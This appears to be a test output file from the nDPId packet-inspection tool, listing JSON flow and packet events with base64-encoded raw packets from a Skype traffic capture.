+00549{"flow_id":263,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1912,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":104147,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACE7GpAADYGWD9dT+CwwKgBIjiqyG99aSIM4YZF9IAYAcWw\/wAAAQEICgA0zms+MoRcCW3RyDFXIBx49jPnRKpj6FZ6vIHWYmInVMmJVjUMBfjlsBWYZPFzKanXOh1Feh8PQX5XHN1qU+g5Fg90VYKLwDGux8zNmsOYKUZ\/JEWy+3A="} +00438{"flow_id":263,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1913,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":104247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/fBAAEAGPQnAqAEiXU\/gsMhvOKrhhkX0fWkiXIAQECkMzgAAAQEICj4yhM8ANM5r"} +00449{"flow_id":263,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1914,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":104823,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kO5AAEAGqgPAqAEiXU\/gsMhvOKrhhkX0fWkiXIAYECmYdQAAAQEICj4yhM8ANM5rAJngurdz24A="} +00450{"flow_id":258,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1916,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":265620,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8nnRAAEAGJWHAqAEilQ0gD8hpNFCsfgHZvsYiKIAZECpV8wAAAQEICj4yhXA\/i4QdlEVm+IpzAKs="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1917,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":1,"flow_first_seen":1431970700273,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":51312,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":264,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1917,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":273545,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXG9AAEAGZ2LAqAEilQ0gD8hwNFCdm737AAAAALAC\/\/+kFAAAAgQFtAEDAwUBAQgKPjKFdwAAAAAEAgAA"} +00450{"flow_id":262,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1918,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":289747,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8sn1AAEAGEVjAqAEilQ0gD8htNFBZKlBIDM1B14AYECmutgAAAQEICj4yhYc\/iaNOv+3qnuBIGqs="} +00450{"flow_id":264,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1920,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":316427,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGzs2VDSAPwKgBIjRQyHC8tiDYnZu9\/KASOJDXAgAAAgQFrAQCCAo\/i4hfPjKFdwEDAwk="} +00437{"flow_id":264,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1921,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":316535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA08VdAAEAG0oXAqAEilQ0gD8hwNFCdm738vLYg2YAQECwuAwAAAQEICj4yhaE\/i4hf"} +00445{"flow_id":264,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1922,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":316648,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5TCJAAEAGd7bAqAEilQ0gD8hwNFCdm738vLYg2YAYECwW8wAAAQEICj4yhaE\/i4hfFgMBAAA="} +00436{"flow_id":264,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1923,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":359304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0qLBAADUGJiWVDSAPwKgBIjRQyHC8tiDZnZu+AYAQAB0+AgAAAQEICj+LiGo+MoWh"} +00444{"flow_id":264,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1924,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":359310,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFCAA5qLFAADUGJh+VDSAPwKgBIjRQyHC8tiDZnZu+AYAYAB0l8gAAAQEICj+LiGo+MoWhFwMBAAA="} +00437{"flow_id":264,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1925,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":359418,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0H8lAAEAGpBTAqAEilQ0gD8hwNFCdm74BvLYg3oAQECstxQAAAQEICj4yhcs\/i4hq"} +00445{"flow_id":264,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1926,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":359548,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5HDBAAEAGp6jAqAEilQ0gD8hwNFCdm74BvLYg3oAYECsWtQAAAQEICj4yhcs\/i4hqFgMBAAA="} +00438{"flow_id":262,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":359850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0eOdAAEAGSvbAqAEilQ0gD8htNFBZKlBQDM1B14AREClT+gAAAQEICj4yhcs\/iaNO"} +02392{"flow_id":264,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1928,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":360918,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUF1FAAEAGpuzAqAEilQ0gD8hwNFCdm74GvLYg3oAQECuS8QAAAQEICj4yhcw\/i4hqFgMBAOlCze\/nQNcvHcsYOfBNvoMRX633PguiJhnIyVRNMRqL0CYIRnz3cbU7VzsRueeDvvYciIzIyuS6wgN1fuXOxQ4b6Z5kvp37ysqFtWQdNEJAaMO72Nr6mpDWyVuNYD2URj4xqttVbctLVrDZ1zLgtSxLLF6x4aPBwcpy7dYz\/cWxyv9sZ6ZDX8eyuhALWBUQ3u3LfImLlfvt5rukEe7BYSe4gHu9h2jABXjcbqEmA9L9PYr91g1qNeDBSs+\/SZ\/DudQkRY7tNJlqBgSDyivlV6JN1tMeKF0j9ap7FTtODjeflBTgkfsmCHkRIBcDAQBlstgAidaISQuHivdkOQMrfUwGThS+pYuvrORfF4uTmfpXYi7RUhXVeGyVgXu6Spx1SLx02EgC\/PGartDuL94Ciqkx+o1kDt1z9lokyTMIZ+igwKBZ\/FTnM851GDDbLX92x4sWVBwXAwEAZYELeZO\/1aHqryVr0jm+v8lK83CqYgDqjSbyIYMpkP80m0kVyXFsUtZz0tbzT8V\/N0rLW\/d43f5iTn1Ldl7OCJUd8NteMaPHfbHgbfTh+dteWxtfywqRgV23qNt5CB4pKR\/6rCHuFwMBAGXMi9\/Y1ZzXf9TDlOflV5VFCi92IYCipBYJbUEhvyNIk8XBYyl672LLRRiBkWLzyrgcLSdDBh20Eov+GTm3cBNYXBV\/oxlAJfBt\/RpDWWRTa43xxUHOqtbh34GplKu5MMvlv6WfexcDAQBlwDcK77b2Wqfgjs28kMDmqwemjNuXT3h2\/zgCfqUObhbBrAiT\/187N6E5Xs72erTJz0C\/M\/RxvjHcyNiRNnsaEpjKfTSfTCaMe509bbjn1UYrSDUsM2g5l569BKZX8JyTUDUlu2EXAwEAbEGQs++Olqq5gWtNOeXCq3nOt2NLRQxdqxl9F23A7aM0XrO5GHEl8ZcuUrfbDv61vmtosRCJyMFiCN+5jUteaTiXWtn9fd7Z6vZV3tIM3Ndwcrx93MN7ZWNjqksms6t9hAKToc1X\/O5axH7hoRcDAQBlkc1E9ebCPd9hDtnOmqzbq7ZUP6nbvfngxVXOVdFryEWn5qdjz6rjRTIASBx2emvySz8rl7npuoyAWOycvYaGVc8313Gs8aitxWSWcDTk\/DMxwyPNuRjaHfaxvXUTolLgTXYWnlcXAwEAcTPmMGfCUnmYdK6gsgrtv0d4dZJO1qor0U8ge8qeBhEkP1zVdBpfwAKpLyDnsiY37pTzFLKvxFDx\/MUVuyG+aiJAjXgVoy1hqka1TJBVrjGp8ATEicPmCK8Phg0OEw8UlIyeGQUrn3BbUChNtz6ROn+EFwMBAGaBWO8LgbBhfnXbWS+SyFPvEv7DuQtDqFD4QZdzUSdF08AiM6QbjI7GW021r\/3+raGyPSvBBzFDS23YgAFVU+d5Ct7r5rats4QqacQINWInIUCb5AC3VCJi7LAn5WAboc+g\/ar8OaUXAwEAZlKp9P1FRgWobp28UZenpuhQHXLAUb1SZN2iTyGAPUSJbSO7M4kYWxxALQtmOPZiAJlVw20AdFDpsvCYFBGFS4AJno9AVrhyWv9U5UjrC1NesKfZgq+ibH1frMogtbpS3x51Tj3eBxcDAQBmWFoFyfNMcKUvktfIUSvr+of0UO95CU4oTik2RFTnWDGJj6Cf15+W1K7EUQxtPxwwuC\/FoQd84rhEB1KiQk9m7tKE5jt\/d6rZkoKFpXHv0K\/x7kDF68mgvOgwNQ2YFBhUfrQy5OWGFwMBAGUc8\/bCfCotnEoaaVQQ\/dFq63Vf\/uqAzJ\/CETb5PBwT6OngM0Wc2ELtE1pwlscgkpW7HX0gPeR72f3DgZUOhaYSLaeoWqPakvbknBOpb2LGrrambPN4KYpM0vYw7cj8rvB3d3smXhcDAQBoSk5iDZ2rwwUi"} +00569{"flow_id":264,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1929,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":360919,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"0NQSxnP1PBXCt3IOCABFAACTAeVAAEAGwZnAqAEilQ0gD8hwNFCdm8OmvLYg3oAYECszYwAAAQEICj4yhcw\/i4hqZmUPsZFPVqQ8GxqbpDYrzYCnbv+iJeEP3BydwVT1JKf00ZPHhRy46qkVmzPFNX2xCuHwpiPxfavXYFcYlbzvb4F42muP81njeQ8Zb9+cuZiKzKKxNAkAwvw0KA+dn9U="} +02401{"flow_id":264,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1930,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":361415,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUeHlAAEAGRcTAqAEilQ0gD8hwNFCdm8QFvLYg3oAQECsYHQAAAQEICj4yhcw\/i4hqFwMBAGi5HbZV2yW+167rlD+qdU3RaxzPPunPbjrDLY7Nk8aROYu4LeYWDTXahwv8dp6KbzkXF7FyYZZORC93r+\/hK0CZF4Ms+IgweTsBrU\/tJBNqArfLW64MwRMVkRMNcdINRTblUzLigxyvlBcDAQCdKG\/+YzbaHaHANxVoiOyK2D52XsCCFd0Di2ivFfh1Sv8tTZ1vl48Je03A4RQFIoxMrdMuetzE1vNoldVhFV6Rn8x5iQwDPY7O+Q6oqZmwEuqa1WZ5HqybmiuXnTWJt8r2E26wwLax8RlbOgYBenYCTft3EbXGW+Nc+Wrrhy0\/kt0pRR+KhbuSsoHEkHmDc2zLhWTrX5T6KoQ0pAstZxcDAQBm\/WeVjqPq2hmCvTPrsCuM1nGOSWX48zQyfAAoMy1DHaaxPNbsxOtazhIBZwH7GdpRcCeMJkFoDiKXJBClf0j7x\/VdqB79414NCo0\/ZFsexCNd+QOO0i\/HNYn7C0cs8A31voR8uFFoFwMBAGY\/\/Z0sZIZ0AK94ROrQCTrW2e0w2ljVM+YU2uST595MXyotlua8h0NpGnpZ7K6OkIWE4djG4PIa3ATTjKBvYP0r\/7HpcnYGnj311whTDSpVhOpPAgK+dIWEUDqvaeUfW51Xt\/Hv8XoXAwEBx1x6E518DQj724Ew\/VBnlmrv5Q8XHCd4qk5B1z3ZGgSzGtX5frkeJ6lxe25Nwd1hXtb06Pge95X5MC8+S5BI\/lIuOtGarXtP\/kGlN1zDrq7rKcYPfwpC8tyvQeN3dLkR21xS6byELftK4mCLfGYIZ3qQaVRJSxDh6Oy6OVpUKZ56omI2V8CPk683ytMmO8CAeYq5uJ\/PqocOtirdg+j7LD37web0NHX2SuHws7dwMuFzJGSeCMLR9yAEHSdjvYqLH14cfyXtrB6YpvuA9JzJWgU1CRxxJhyqwR2gwPGTeUJn3VfI\/oMW1fRMTSlSxr8X3o5dwyrFgCleyrBvkuOgQGPA7C3LeLtraZM4+F1lxre6WCJBYHAhu6ENCvkxrdVIPOqrx0PJKq8lNVzyF21lmUO3IKqahfbZ9B5KHt6SvD54X4mSobRddnbOgoacZV4GGHtsPjclGjuuNyWPtFttTNUsHqam8Yu4SoQLNAAL+WtgzG472chQsQUn5\/0K8MWmR7nOMOjqmGQ9VDRI1E4nYtppAhEcLJUUHaSGzaZGteDXvOG2p8lDV50O4RShNfF7\/3uOH80dmxI5kUgpxXzmMrdmUazWk\/AdFwMBAcWGmDFDqIwGC\/JsKq8g3qBG+pBqsUo7dWvrHgwZU+ExVLdiY4Qn7LpkRhlJHRLfJqcqWLFZfWxRwF\/QFdKTCOij+k32MrEmka60dPzNbwoDPJe08xgFlb6j6K8ONbXIns\/VaD\/w1+fHaXa+YM\/bSaG4nNuSnY\/n1Nfe5\/K++xe\/Vj9Eud787SMXlRZRHmgX4urjZSyYvZfeMpURHGx9K+43YzcKQurMbmkLDcem7DUhZWxSGfMP7f4lxag\/Mw5zvfVsXGgvEpqwcE9N+BpnShRuODDVzWTkX1qyXgeIPBA0fFzh9oVy3LN9ko84LmEN6cCMRA1tLvMU1M1iyCwqlF8DAEpctkNOOqw+X\/kH0xJGSpUvgMqTEmOMpRKpcf2cDap\/QM7J2xBd7n5SftoJhFu7XmHzWxZfxtdqpeB9olgB5KWHbWqTXTOVO+Gyt6n+Mj3Vm7JczADgQCq\/grHMU9I\/k9ZcclhqX9WF\/tp87cnacTxL5GfPeUgeCEbYcWSITNTzmMDOmzD0FXrt4NbPT66wE0gQw4+TdgzfydyVdLLyfvUcHXN\/\/68RTw3OCyYEUbwBhWlfaXs87bbypDbEPa\/WfU1MsEwXAwEAfcbZXsk8K3iY94HJcrPe8GLVRFPRiH5hFMMVxE3lSD9P"} +00569{"flow_id":264,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1931,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":361417,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"0NQSxnP1PBXCt3IOCABFAACRIsFAAEAGoL\/AqAEilQ0gD8hwNFCdm8mlvLYg3oAYECvHJAAAAQEICj4yhcw\/i4hqM8v\/9do+OteJm3m21a5BguRI3\/P3EtOaiDvmGI+4tPJIVk325MdOCOmfCeI164XIX47kSoH2dLM\/FK7NCsTcX3Bnqn6qRYG4c14mGOgxbSurT6cDup3NQQafceul"} +00445{"flow_id":264,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1934,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":401966,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFCAA5qLJAADUGJh6VDSAPwKgBIjRQyHC8tiDenZu+BoAYAB0lswAAAQEICj+LiHU+MoXLFwMBAAA="} +02232{"flow_id":264,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1935,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":402092,"pkt_caplen":1388,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1388,"pkt_l4_len":1354,"pkt":"0NQSxnP1PBXCt3IOCABFAAVeZCRAAEAGWo\/AqAEilQ0gD8hwNFCdm8oCvLYg44AQECtTuQAAAQEICj4yhfQ\/i4h1FwMBAH1ZAfEcXI3KdrJOxUy3k0jomY6BgXLhrDgXUeA0gXgo06ZJruvDSYT2y3rkiuac5u2MnlJZ9LloyL4t3yuDw+zTfnvufnAyPtzoCcpIamrI7ffW2\/8MCJjpMZR2Oo8S4dkmjTeUPc+zZDaO6+KzaswGSBZWsSeRp1VJ+bGh8BcDAQB9eph6Lfr8GbG3UXdWuxNoLhn89cNYMv6hp3+sgwdRF0WuxY2OUejlStbh5mv4WBglPa7WZHFOa5DSc1LuOuz3IjJXpRTKnlSksczEEPMwlLDwtqNJksDEsprRxuGOeyfpWf2nTILAi6J0kqxlKYLuawVFO7Z1rWn6Nl5pG6gXAwEAfZfUxGJ4z41xnFn1rQbCAykDEA\/z+WA\/yH8dC7DF\/HQu1TWY4UNUYX4UbS6ZgEHlSVtnRGCwTyiYTOUcDnDOP8XWDbKbA+bcg6rIfwY5ZBDTy3bPTVHVtZGIBWMpFt097pDzQmyp3x1G4uot+QmEVx\/wOIMtopv923ypLNOHFwMBAISYhE6SiUqKnHqsaAK5i711vuQS8K1azZr6M1x5AD\/SYk6MBfhfb8gbqdPFEua7LFKfR9zQalmSnZ4USTlgqY0BBCSiz\/ho6UWly05Iwi7j1LXIttfYZxGUIDBzIpx78QAT3eoZ\/5Sx+u7JMak2oMNEEqlyP72jS0JDATfcry+t86pUy+8XAwEAfc7Cl2q2tx6ubhinTmhopK5x6Nt2QSw0AhbDMzyWTW8IC4sNTsXrdQUHd+7mbnbiP5uTt3ZRNBph\/A8PRfsC6qlvVW60R1JUZ4whZsz0UxMCWkUgJYj7l8rkfo+cBPhjdv8OCqSJ\/uZu3BWkxx8gz3MvRB9TxuK3iTaq58OlFwMBAInQUKzv81aZ29INE3qgC4XD1BrJTD\/MXv\/GBMN36LGEyLj0NEbhm65MXJoQQJOm5BmEWZ5MONivBx0sdZ9PDI\/BHFSfAiJHX92e3dZoVsbRbpvbOPkAPhSrn4miR69GgA+YoO1cg+UJ\/EbKGKXpHYyY7S4JwSpyVOd6hw4FnDJ8Ymppj8znUAW2+BcDAQCJoDBEV7WU27czwry7w29p6Y00HEVd1lWCVWUNEXi3LKeot9KdIGBKGeecwOmPyTWWb6zZrDSURALfeBm8+MIKiRf3MoyPNYZF7Tfr5AyvdFc38m1Qvj6JJHr4w3cnnyS32HwSham\/3G8xIUfCgNNXz2vFCflBeQVzvjs6687sS7PnEuFFUGyg4o0XAwEAjAPHELYPWAV0fAnMoBNhTYw0KqRi2ysTHqkOY4oPl3VS6qayyMB9iviFlDGM\/sW0BtdeEG1GZwDZdvyKi8HkXUNskHpBjktEYXmMLalGh7psLveaxew\/xOTBiG0P5Mpw5ZlMU7BJoyZvHfSiJWCioCB11seNUYtBaTjXjdFRNhhYk441Sryi112718zLFwMBAH9FqjKE+NYH0sIjwBb+IGVYaNq3VdOgvX6awfA\/OETCIqR7unQBGoCmZ7MkQx6An2X3zNZKtta+iy9HmOkERSRDlCGQTORxkEeaQgNs64YzCW0ry\/av6aRwAV\/DRS+U+TWk4pw1fTjrUrm3QfJjW62hWRGVP3SNJh7aN9J\/vuxHFwMBAH5uMHYdooj8adLmv7Jb2qSxWEEiVZYpz1aLbbrtuAFYukNUDTMXv6cyus+mnRwBHer8fpZMLrql7SqKXbA6krlw47Kygqh+wSUqmhSrOeCnbz4XRO\/tm\/Ji2i4zJRYNZVLr5lQ="} +00449{"flow_id":239,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1936,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":409467,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8dpJAAEAGFLLAqAEiTKehBshYTzLHdCYHEv4ezoAZECph2QAAAQEICj4yhfq+r7k1zWOVyLN8y6I="} +00437{"flow_id":264,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1937,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":416820,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0qLNAADUGJiKVDSAPwKgBIjRQyHC8tiDjnZvEBYAQACI3tgAAAQEICj+LiHg+MoXM"} +00449{"flow_id":263,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1942,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":541974,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8N4FAAEAGA3HAqAEiXU\/gsMhvOKrhhkX0fWkiXIAYECmWyAAAAQEICj4yhnwANM5rAJngurdz24A="} +00455{"flow_id":261,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1943,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":551127,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYAFAAEAGdBbAqAEiUHlUXchsAbvYtBS\/AAAAALAC\/\/9UCQAAAgQFtAEDAwUBAQgKPjKGhQAAAAAEAgAA"} +00449{"flow_id":244,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1944,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":671602,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8COVAAHQGnSxRU02NwKgBIkTnyFsYw7kVAadnG4AYAQKkqgAAAQEICgC8GmA+MljnwuFPOnWA7qU="} +00421{"flow_id":244,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1945,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":671714,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAom4FAAEAGPqTAqAEiUVNNjchbROcBp2cbAAAAAFAEAADZMAAA"} +00538{"flow_id":239,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1946,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":697981,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7p7JAAC4G9VJMp6EGwKgBIk8yyFgS\/h7Wx3QmEIAZAONX8wAAAQEICr6v6eE+MoX6+fN5vG4ODm7i569+TS4a8H3mu1CAajgPTmiFTLLAjMXVPiadRls9tzo38vQiPpaO9lQI5z\/91jVoLpupXCUiiKYFIzILywg="} +00421{"flow_id":239,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1947,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":698092,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoSJVAAEAGQsPAqAEiTKehBshYTzLHdCYQAAAAAFAEAAD7WAAA"} +00455{"flow_id":259,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1951,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970700,"pkt_ts_usec":948879,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAA35AAEAG0JnAqAEiUHlUXchq861iaxDLAAAAALAC\/\/\/aywAAAgQFtAEDAwUBAQgKPjKIDwAAAAAEAgAA"} 